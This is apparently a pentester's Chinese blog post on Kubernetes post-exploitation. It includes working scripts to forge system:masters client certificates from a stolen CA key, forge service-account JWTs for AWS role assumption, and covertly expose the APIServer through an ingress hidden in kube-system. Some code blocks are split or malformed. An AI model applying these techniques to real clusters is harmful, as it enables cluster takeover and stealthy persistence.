Introduction

kubernetes 自身就具有多种配置和认证技术，包括 mTLS 交换证书认证、JWT token、Static Token、Bootstrap token 等验证手法。这里我主要介绍如何完成多个类似的手法进行证书层面的利用。

TL；DR

本篇文章主要是为了介绍 Kubernetes 中各种证书和认证技术的使用与后期利用，主要涵盖了以下几个方面：

1. **证书初始化**：Kubernetes 在初始化时，会生成或使用现有的 RootCA，然后对关键内部服务（如 etcd）的证书进行签发。证书的主要用途包括加密通信和身份验证。
2. **APIServer 的可信代理**：文章介绍了如何通过 nginx 配置一个反向代理来利用 APIServer，但这种方法利用难度较高，因为需要部署自己的服务器并配置相关参数。
3. **ETCD 证书的后期利用**：ETCD 是 Kubernetes 系统中的数据库，通过控制 ETCD，可以绕过 APIServer 的鉴权，直接控制集群的状态和权限。文章还提到了 NCCGroup 的一篇文章，提供了对 ETCD 的进一步利用方法。
4. **客户端证书**：mTLS 是 Kubernetes 常用的管理员认证手段。文章详细讲解了如何生成客户端证书并利用它们来接管整个集群。
5. **JWT Tokens**：文章深入探讨了 Kubernetes 的 JWT token 机制，尤其是在没有 mTLS 双向验证时的利用方法。文章提供了一个工具（TicketMaster），用于模拟任何服务账户进行攻击。

涵盖了从证书生成到后期利用的多个技术细节，适合对 Kubernetes 安全有深入了解需求的读者。

Certification Initiation

> 参考：
>
> https://www.zhaohuabing.com/post/2020-05-19-k8s-certificate/ 这篇文章写的非常精彩，基本介绍完了整个 k8s 的证书系统，浅显易懂，相比对于官方文档最佳实践非常友好，强烈推荐。
>
> https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/
> 如何使用 kubeadm 管理证书
>
> https://kubernetes.io/zh-cn/docs/setup/best-practices/certificates/ PKI 最佳实践的官方文档

k8s 初始化情况下，会首先自我生成 RootCA 或者基于现有 RootCA 进行，并且生成中间证书（该步骤一般不是必须），再对其他重要内部服务的证书进行签发，或是分别重新自签名证书并一一配置，例如 etcd 间 与访问 etcd 的服务。其中证书大致可以有两大用处，一为加密通信使用，二则作为鉴权身份判定。

而在 k8s 持久化或是权限提升环境下，我们接下来针对性探讨以下几种，通讯类的 etcd 集群访问的客户端凭据和鉴权类的 APIServer 的双向 TLS 证书、签发 serviceaccount JWT token 的 sa 证书以及 前置可信代理的 front-proxy ca。

Post Exploitation

在理清楚了 /etc/kubernetes/pki 目录下的文件之后，下文将开始解释如何进行签名和攻击

Trusted Front Proxy of APIServer

可信任代理使用非常简单，但是利用难度较高，需要自己部署一个服务做 apiserver 的反向代理，没有很强的实战意义，但是也可以作为对外开放利用的一种手段，只需要在 nginx 中配置，例如：

```
server {
    listen       443 ssl;
    server_name  test.k8sproxy.xxxxx.com;
    ssl_certificate      /etc/kubernetes/pki/ca.crt;
    ssl_certificate_key  /etc/kubernetes/pki/ca.key;
    location / {
      access_by_lua '
      -- 因为token格式是jwt，且用户名是在jwt payload里的，所以需要依赖 resty.jwt 这个库
      -- 具体的安装方式这里不详细说明，可以查找其他资料
      local cjson = require("cjson")
      local jwt = require("resty.jwt")
      -- 拿到用户请求的Authorization头
      local auth_header = ngx.var.http_Authorization

      if auth_header == nil then
        -- 禁止没有认证信息的请求
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      end

      local _, _, jwt_token = string.find(auth_header, "Bearer%s+(.+)")
      if jwt_token == nil then
        -- 禁止认证信息有误的请求
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      end

      -- secret，需要保密!
      local secret = "your-jwt-sercets"
      local jwt_obj = jwt:verify(secret, jwt_token)
      if jwt_obj.verified == false then
        -- 如果验证失败，说明Token有问题，禁止
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      else
        -- 验证成功，设置X-Remote-User头为用户名（假设用户名存储在payload中的user字段）
        ngx.req.set_header("X-Remote-User", jwt_obj.user)
      end
    ';
    proxy_ssl_certificate /etc/kubernetes/pki/front-proxy.crt;
    proxy_ssl_certificate_key /etc/kubernetes/pki/front-proxy.key;
    proxy_pass https://apiserver:6443;
  }
}
```

但是其实事情还没有结束。

APIServer提供了几个命令行参数：`--requestheader-username-headers`、`--requestheader-group-headers`、`--requestheader-extra-headers-prefix`，通过这几个参数来配置HTTP头的字段名称。
其中，只有`--requestheader-username-headers`这个参数是必须的，由于目前场景下只需要配置这一个参数就可以了。比如：添加`--requestheader-username-headers=X-Remote-User`到APIServer启动参数，APIServer就会从请求中获取X-Remote-User这个头，并用对应的值作为当前操作的用户。

既然APIServer会从请求头中获取用户名，那么问题来了，如何确保这个请求是可信的？如何防止恶意用户，伪造请求，绕过身份认证代理服务器，直接用假冒的请求访问APIServer怎么办？这样是不是就可以模拟任何用户访问了？那一定不行，得需要有个办法来验证代理服务器的身份。

不过K8s的开发者们显然考虑到了这个问题，所以APIServer提供了`--requestheader-client-ca-file`和`--requestheader-allowed-names`两个额外的参数，其中`--requestheader-client-ca-file`是必须的，用来指定认证代理服务器证书的CA位置，如果同时指定`--requestheader-allowed-names`，则在验证客户端证书发行者的同时，还会验证客户端证书的CN字段，确保不会有人用其他证书模仿代理服务器。

所以综上所述，针对这类证书的后利用手法通常较为困难，或者相对以下两种手法没有必要。

ETCD Certification Post exploitation

etcd 在 k8s 整体系统中，起到类似传统 web 服务器的数据库的角色。所以控制 apiserver 后端所依赖的数据库，我们可以越过任何基于 apiserver 的鉴权，直接控制集群状态信息和权限持久化。

当然，关于这个的后利用，我推荐我的一位 NCCGroup 的朋友的文章。他发表在了 2023 KubeCon Shanghai。

Topic: https://research.nccgroup.com/2023/11/07/post-exploiting-a-compromised-etcd-full-control-over-the-cluster-and-its-nodes/
工具为： https://github.com/nccgroup/kubetcd

当然主要还是针对 etcdctl 做包装。这里我就不过多进行说明了。

Client Certification

mTLS 进行客户端验证是 k8s 常见的管理员认证手段。在默认情况下，管理的的 kubeconfig 中会存在形如下的配置文件

```
apiVersion: v1
clusters:
  - cluster:
      certificate-authority-data: LS0tL...S1Qo=
      server: https://server:26443
    name: default
contexts:
  - context:
      cluster: default
      user: default
    name: default
current-context: default
kind: Config
preferences: {}
users:
  - name: default
    user:
      client-certificate-data: LS0tQU...10K
      client-key-data: LS0...tLQo=
```

其中，通过分析 base64 之后的 client-certificate-data ，则会得到具体签发的管理员信息。

```
client-certificate-data:
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJrVENDQVRlZ0F3SUJBZ0lJZkl0SnFRc2JWSmd3Q2dZSU
tvWkl6ajBFQXdJd0l6RWhNQjhQTFVRUF3d1kKYXpOekxXTnNhV1Z1ZEMxallVQXhOekV3T0RNMU5UQTFNQjRY
RFRJME1ETXhPVEE0TURVd05Wb1hEVEkxTURNeApPVEE0TURVd05Wb3dNREVYTUJVR0ExVUVDaE1PYzNsemRHVn
RPbTFoYzNSbGNuTXhGVEFUQmdOVkJBTVRESE41CmMzUmxiVHBoWkcxcGJqQlpNQk1HQnlxR1NNNDlBZ0VHQ0Nx
R1NNNDlBd0VIQTBJQUJQbDlBeWtXN0tYMEJMNFUKYnhIQ0xBczJzek5ZSmFINTJ5bW9ORU95ekxYc0RIbFUvek
RFdG5zajRyYWlyWG9tMTNRR1dLVUtwVlgxb1hHdQpyOGZyaW91alNEQkdNQTRHQTFVZER3RUIvd1FFQXdJRm9E
QVRCZ05WSFNVRUREQUtCZ2dyQmdFRkJRY0RBakFmCkJnTlZIU01FR0RBV2dCU0tRclZQOEkrK1A1R3lWZWlFWV
dqeWRoeUFVekFLQmdncWhrak9QUVFEQWdOSUFEQkYKQWlCaktsdWJvSzRWQk5xVUYyQytKMUJWSTZiMlBUZU13
LzczQ1pHYzljcDhQUUloQUlzU1RnZElMSk1KbU9nSwpxSFJWQXlIVjJSbjhSUStRVUh2L0cwTzlpUnZNCi0tLS
0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJkekNDQVIyZ0F3
SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdFkyeHAKWlc1MExXTmhRREUzTV
RBNE16VTFNRFV3SGhjTk1qUXdNekU1TURnd05UQTFXaGNOTXpRd016RTNNRGd3TlRBMQpXakFqTVNFd0h3WURW
UVFEREJock0zTXRZMnhwWlc1MExXTmhRREUzTVRBNE16VTFNRFV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1
BRTUJCd05DQUFTYmhPdXRpYU1KMmZTM3VRZm5YNWVxaStNMzBva0UyMXMydkRvUkVVUVAKVUg2TXpRNDNCUm1T
ZDBnOVF2Q0Z4WlhXU3d0TnkycXFnaU4wMlI2SHoveEhvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WU
RWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVWlrSzFUL0NQdmorUnNsWG9oR0ZvCjhuWWNnRk13Q2dZ
SUtvWkl6ajBFQXdJRFNBQXdSUUlnYnhVR2RURlpmNTdNSEpjWWFUczVtWkdLVFplUDN2U0YKK2doa0Z6VzNoWT
hDSVFERUorV0laWXZTdzBIRDBQV0ZNOE1MeDdrSm1YTWM4NCs4UnZEdDE4WGVodz09Ci0tLS0tRU5EIENFUlRJ
RklDQVRFLS0tLS0K
```

通常 `O (organization): system:masters` 存放表示该证书签发给了 超级管理员**组**（该组可以绕过 RBAC 鉴权，这一点很重要，此外该组是被硬编码的超管无法删除）而 `CN (Common Name)` 则是诸如 `system:admin` 或者 `system:cluster-admin` 一类的名字，或是 `system:kube-controller-manager` `k3s-cloud-controller-manager` `system:apiserver` 等**账户名称**，也可以是普通的 developer 等用户名称。

> 需要注意的是 k8s 可以被直接创建的只有 serviceaccount，user 本质上是不可以被创建的，因此通常采用联邦认证的办法进行鉴权，例如 SAML AD 或是 OIDC 等方案进行联合认证。

即 CN 代表 k8s 用户，O 代表 k8s 组

同时这类证书会标识自己的 extKeyUsage 为 Client authentication 即客户端鉴权。

这类证书会通过 client ca 进行签发（k3s 类 `/var/lib/rancher/k3s/server/tls/client-ca.{crt,key}`），也有些会通过 root-ca (`/etc/kubernetes/pki/ca.{crt,key}`) 进行签发。

我留一个脚本来表明如何手动伪造签发这类证书和并且创建 Kubeconfig

```bash
# 创建用户授权文件目录
# 以 kubeadm 类生成的证书为例
cd /etc/kubernetes/pki
mkdir -p users
cd users/

# 创建 openssl.cnf 配置文件
cat > openssl.cnf << EOF
[ req ]
default_bits = 2048
default_md = sha256
distinguished_name = req_distinguished_name

[req_distinguished_name]
```

```
15
16  [ v3_ca ]
17  basicConstraints = critical, CA:TRUE
18  keyUsage = critical, digitalSignature, keyEncipherment, keyCertSign
19
20  [ v3_req_server ]
21  basicConstraints = CA:FALSE
22  keyUsage = critical, digitalSignature, keyEncipherment
23  extendedKeyUsage = serverAuth
24
25  [ v3_req_client ]
26  basicConstraints = CA:FALSE
27  keyUsage = critical, digitalSignature, keyEncipherment
28  extendedKeyUsage = clientAuth
29  EOF
30
31  # 使用 openssl 工具创建用户秘钥文件
32  openssl genrsa -out devuser.key 2048
33
34  # 使用 openssl 工具生成用户证书请求文件
35  openssl req -new -key devuser.key -subj "/CN=kubernetes-admin/O=system:masters" -out
    devuser.csr
36
37  # or CN 可以任意 主要有 O system:masters 就可以绕过 RBAC
38  openssl req -new -key devuser.key -subj "/CN=kubernetes-admin-
    testadmin/O=system:masters" -out devuser.csr
39
40  # 使用 openssl 工具生成用户证书
41  ## ca.crt 和 ca.key 根据情况进行更换
42  openssl x509 -req -in devuser.csr -CA ../ca.crt -CAkey ../ca.key -CAcreateserial -
    extensions v3_req_client -extfile openssl.cnf -out devuser.crt -days 3650
43
44  # 设置集群参数变量，设置一个集群，需要指定根证书和 server-api 服务地址，指定 kubeconfig 文件
45  export KUBE_APISERVER="https://{{K8S_MASTER_IP}}:6443"
46  export CLUSTER_NAME=clustername
47
48  kubectl config set-cluster ${K8S_CLUSTER_NAME} \
49  --certificate-authority=../ca.crt \
50  --server=${KUBE_APISERVER} \
51  --embed-certs=true \
52  --kubeconfig=devuser
53
54  # 设置客户端认证参数，设置一个证书用户 devuser，需要指定用户证书和秘钥，指定 kubeconfig 文件
55  kubectl config set-credentials devuser \
56  --client-certificate=devuser.crt \
57  --client-key=devuser.key \
58  --embed-certs=true \
59  --kubeconfig=devuser
60
61  # 设置上下文参数，需要指定用户名，可以指定 NAMESPACE，指定 kubeconfig 文件
62  kubectl config set-context ${K8S_CLUSTER_NAME} \
63  --cluster=${K8S_CLUSTER_NAME} \
```

```
--namespace=default \
--user=devuser \
--kubeconfig=devuser

# 设置上下文配置，指定 kubeconfig 文件
kubectl config use-context ${K8S_CLUSTER_NAME} --kubeconfig=devuser

# 执行完毕，会在当前目录生成以 devuser 命令的 kubeconfig 配置文件
cat ./devuser
```

这样签发完成后就可以使用这 `devuser` 的 kubeconfig 直接连接 APIServer 并且尝试接管整个集群了。

> 该过程相当于在 k8s 集群中创建 CertificateSigningRequest 对象并且被 approve 后，在后端发生的签发流程。

```
openssl genrsa -out hacker.key 2048
openssl req -new -key hacker.key -subj "/CN=iamhacker" -out hacker.csr
LOCAL_CSR=`cat hacker.csr| base64 | tr -d "\n"` cat <<EOF | kubectl apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
        name: es-on-req
spec:
        request: ${LOCAL_CSR}
        signerName: kubernetes.io/kube-apiserver-client
        #expirationSeconds: 86400  # one day
        usages:
                - client auth
EOF

# approve and sign: kubectl certificate approve es-on-req
# after sign req from pending to Issued
kubectl get csr es-on-req -o jsonpath='{.status.certificate}'| base64 -d >
ehacker.crt
```

JWT serviceaccount tokens

接下来说说比较有意思的部分了。 k8s 的 jwt token 机制了，在不进行 mtls 双向验证时，JWT Bearer Auth 是集群内最常用的凭据。

人所周知， K8S 的 JWT 也是经过签名的，但是他的签名手法不是薄弱的 HS256 ，而是采用了 RS256，其中 JWT Claim 的最简格式为

```
{
  "alg": "RS256"
  // "kid": key-id // some aws like service has
}
{
  "aud": [
    "https://kubernetes.default.svc.<node-name>",
    // "sts.amazonaws.com"
```

```
    // "k3s"
    // "https://kubernetes.default.svc"
    // "https://kubernetes.default.svc.cluster.local"
    // node-name could be cluster.local or xxx
  ],
  "exp": 1735799999,   // expiration time
  "iat": 1704164933,  // issue at
  "iss": "https://kubernetes.default.svc.<node-name>",
  // https://oidc.eks.us-west-1.amazonaws.com/id/<eks-oidc-id>
  // iss is issuer
  "kubernetes.io": {
    "namespace": "<ns>", // service account namespace
    "serviceaccount": {
      "name": "<name>", // service account username
      "uid": "<sa-uid>" // service account uid
    }
  },
  "nbf": 1704164933, // not valid before
  "sub": "system:serviceaccount:<ns>:<name>"
}
```

签发过程通过 sa.key 的签发，该过程的简单武器化利用，我存放在了项目 ticketmaster中，欢迎各位大佬点点 star。

该方法隐蔽性极好，可以 impersonate 几乎任何服务账户的同时，甚至支持对服务账户授权的其他云服务进行联邦利用，这一点会在后续的部分提到。

但是，该利用存在几点局限，一个是对于 kubernetes 中所有的服务账户可以进行列出（以获得 uid 和 name 以及所属 namespace 信息，其中 uid 获取较为重要，这是用户的唯一标识符），一个是需要获取至少一个模版 jwt，来确定 jwt 中使用的字段和可以使用的值。

此外由于需要 uid ，而 uid 即使是同 ns 下的同名服务账户（先删除再创建）也可能不同，所以导致全部备份名称，然后全部删除清理一次，最后重建同名账户，就很容易使得这类攻击手法失效。

One More Thing

这里我额外提示两点，其中一个 EksClusterGame 第5题的考点。

Federal Cloud of Investigation - JWT Audience

人从所周知，各类云服务可以通过 OIDC 这项技术进行双向信任。你信任我，我也信任你。当集群还存在 OIDC 信任的时候，这项技术可以使得我们通过直接伪造 K8S 凭据对其他云服务做隐形持久化。例如，AWS 。

> 其他云也有等效服务

```
aws sts assume-role-with-web-identity --role-arn
arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name hacker-session --web-identity-token ${Token_From_k8s}
```

这项手法非常有意思的点在于，即使最后你无法访问该 k8s 集群（例如：对方发现了你的攻击行为，并且对访问集群进行了限制，使用了物理隔离、修改网络结构等防御措施），但是只要集群和其他云仍然存在信任关系，并且没有被破坏，你仍然可以通过该集群签发任意的 jwt token 以该集群的特定身份对其他云资源进行访问。而对云来说，这里的唯一的问题是请求来源 IP 地址是外部地址，而非集群地址。

关于如何配置类似环境做相互通信，这里有一个良好的示范 https://www.artur-rodrigues.com/tech/2024/03/19/cross-cloud-access-a-native-kubernetes-oidc-approach.html

reverse proxy APIServer

这项技巧也不难理解，主要目的是为了绕过防火墙直接访问 API Server。 人从众所周知，apiserver 的服务通常开放于 master 地址的 6443 端口，并且是一个 tls 监听。但是通常防火墙只会释放 80 443 端口，而这两类端口一般都被 ingress 服务所监听。那么如何让我们在外网也可以随意调用 apiserver 呢?

实际上 k8s 提供了一个内部服务，叫做 `kubernetes.default.svc.cluster.local` 该服务是一个在 default 命名空间下的 k8s 服务，开放了 443 端口。既然是 service 我们就可以通过 ingress 将其对外进行转发。

以 nginx ingress 为例。

```
apiVersion: <version>
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/backend-protocol: HTTPS
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
    nginx.ingress.kubernetes.io/secure-backends: "false"
  name: ingress-name
  namespace: ns
spec:
  rules:
    - http:
        paths:
// old ingress
          - path: /kube-api/(.*)$
            pathType: Prefix
            backend:
              serviceName: service-name
              servicePort: 443
//  new ingress
        - path: /kube-api/(.*)$
            pathType: Prefix
          backend:
            service:
              name: service-name
                port:
                  number: 443
```

那么当 ns 不为 default 的时候我们应该如何处理呢。

k8s 有一项服务类型叫做 ExternalName

```yaml
apiVersion: v1
kind: Service
metadata:
  name: kube-api
  namespace: "none-default-namespace"
spec:
  type: ExternalName
  externalName: ip # or use kubernetes.default.svc.cluster.local
```

因此我们可以通过这样手法，转发对应的其他 ns 的服务到本 NS 下。

> 你可以阴险的在 kube-system 中转发一个 default ns 下的 kubernetes 的服务，相信我，没有多少管理员会去特意查看 kube-system 下是否存在对应 ingress 的。:)

通过将这两种手法进行结合，我们最后便得以在 ingress 中获取到 api server 服务。然后我们只需要把集群配置（kubeconfig 或者命令行参数）的 apiserver 地址 由诸如 `https://ip:6443` 修改为 `http(s)://ip/kube-api` 就可以再次通过 kubectl 进行访问了。

> tips: 如果遇到了证书问题记得添加 --insecure-skip-tls-verify

Summary

总结！在后利用活动中，Kubernetes 的证书系统提供了强大的优势和灵活性。首先，由于证书系统本身是用以确保通信加密和身份验证的安全性，特别是通过双向 TLS（mTLS）认证，可以验证客户端和服务端的身份。倘若攻击者如果获得了有效的证书，就能够伪装成合法最高管理员，绕过常规的 RBAC 身份验证机制，直接访问集群资源。此外，通过控制 ETCD 后端数据库或伪造服务账户 JWT token，攻击者能够持久控制集群中的权限和状态。证书的灵活签发与 OIDC 等联邦验证手段为后期利用提供了隐蔽且强大的攻击途径。

Thanks

感谢我的 WgpSec 团队对我研究的支持。

WgpSec

鸣谢 CSA GCR 云渗透测试工作组的成员对我研究方向的指导和帮助。

CSA GCR cloud security GREATER CHINA REGION alliance ®

你好，我叫 Esonhugh。Take care of your cluster and be well. :)

如果你非常喜欢我的文本，这里是赞助链接 https://www.patreon.com/Skyworshiper，我会不定时发布一些新的文章或是预发布草稿。

感谢收看到这里的你。